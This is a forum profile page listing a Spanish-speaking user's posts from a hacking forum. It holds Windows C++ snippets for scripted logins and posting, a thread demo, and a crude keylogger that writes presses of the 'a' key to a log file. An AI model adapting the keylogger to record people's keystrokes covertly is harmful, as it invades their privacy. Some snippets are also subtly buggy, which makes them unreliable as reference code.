:O El creador del lenguaje C ,a muerto :S que fuerte! pues no sabia nada,me vino bien entrar aqui,gracias por los enlaces,muy interesantes,una pena la muerte de este genio!
saludos
saludos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
send(Sock,Cabecera,strlen(Cabecera),0);
send(Sock,Datos,strlen(Datos),0);
int ax;
HANDLE File = CreateFile("Pagina.html",GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
do{
ax = recv(Sock,Buff,sizeof(Buff),0);
WriteFile(File,Buff,sizeof(Buff),&Bytes_Write,0);
} while(ax != 0);
#include "windows.h"
#include "iostream"
#pragma comment(lib,"ws2_32.lib")
#define PORT_CONNECT 80
SOCKET Sock;
int conexion = 0x0;
struct sockaddr_in Server_Web;
WSADATA wsa;
char Buff[1000];
DWORD Bytes_Read = 0;
DWORD Bytes_Write = 0;
char Cabecera[] = "POST /login2.html HTTP/1.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Host: foro.elhacker.net\r\n"
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: en-us,en;q=0.5\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Connection: keep-alive\n"
"Referer: http://foro.elhacker.net/login.html \r\n"
"Cookie: __utma=;PHPSESSID=;\n";
char Datos[] = "user=USER&passwrd=PASS";
int main(void)
{
if(WSAStartup(MAKEWORD(2,0),&wsa) != 0)
{
std::cout << "Error al crear instancia" <<std::endl;
getchar();
}
Sock = socket(AF_INET,SOCK_STREAM,0);
if(Sock == INVALID_SOCKET)
{
std::cout << "Error al crear el socket" <<std::endl;
getchar();
}
Server_Web.sin_family = AF_INET;
Server_Web.sin_port = htons(PORT_CONNECT);
Server_Web.sin_addr = *((in_addr*)gethostbyname("foro.elhacker.net")->h_addr);
memset(Server_Web.sin_zero,0,8);
conexion = connect(Sock,(sockaddr*)&Server_Web,sizeof(sockaddr));
if(conexion == -1)
{
std::cout << "Error al conectar" <<std::endl;
getchar();
closesocket(Sock);
WSACleanup();
}
send(Sock,Cabecera,strlen(Cabecera),0);
send(Sock,Datos,strlen(Datos),0);
int ax;
HANDLE File = CreateFile("Pagina.html",GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
do{
ax = recv(Sock,Buff,sizeof(Buff),0);
WriteFile(File,Buff,sizeof(Buff),&Bytes_Write,0);
} while(ax != 0);
return 0x0;
}
Sesion = InternetOpen("Mozilla/5.0 (Windows NT 6.1; WOW64;rv:5.0.1)Gecko/20100101 Firefox/5.0.1",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,1);
Conexion = InternetConnect(Sesion,"foro.elhacker.net",INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,INTERNET_FLAG_NO_CACHE_WRITE,1);
Peticion = HttpOpenRequest(Conexion,"POST","/login2.html","HTTP/1.1",NULL,NULL,INTERNET_FLAG_NO_CACHE_WRITE,0);
InternetSetCookie("http://foro.elhacker.net",NULL,"TestData2 = Test; expires = Mon,10-Oct-2011 00:00:00 GMT");
HttpSendRequest(Peticion,Header,strlen(Header),Form,strlen(Form));
Peticion2 = HttpOpenRequest(Conexion,"POST","post2.html;start=0;board=49",NULL,NULL,NULL,INTERNET_FLAG_NO_CACHE_WRITE,0);
InternetSetCookie("http://foro.elhacker.net/post2.html;start=0;board=49",NULL,"TestData2 = Test; expires = Mon,10-Oct-2011 00:00:00 GMT");
HttpSendRequest(Peticion2,Header,strlen(Header),form2,strlen(form2));
#include "windows.h"
#include "iostream"
DWORD WINAPI TProces(LPVOID)
{
MessageBox(0,"Hola desde el hilo","Hola",0);
return 0;
}
DWORD ID_HILO;
HANDLE Tread;
DWORD ExitCode;
int main(void)
{
Tread = CreateThread(0,0,TProces,0,0,&ID_HILO);
OpenThread(THREAD_ALL_ACCESS,FALSE,ID_HILO);
WaitForSingleObject(Tread,0);
GetExitCodeThread(Tread,&ExitCode);
return 0;
}
#include "iostream"
#include "fstream"
#include "windows.h"
HWND MSN = 0;
std::ofstream Log;
int main(void)
{
Log.open("Log.txt");
do{
if(GetAsyncKeyState(65))
{
Log << "a";
}
}while(FindWindow(0,"Equipo"));
return 0;
}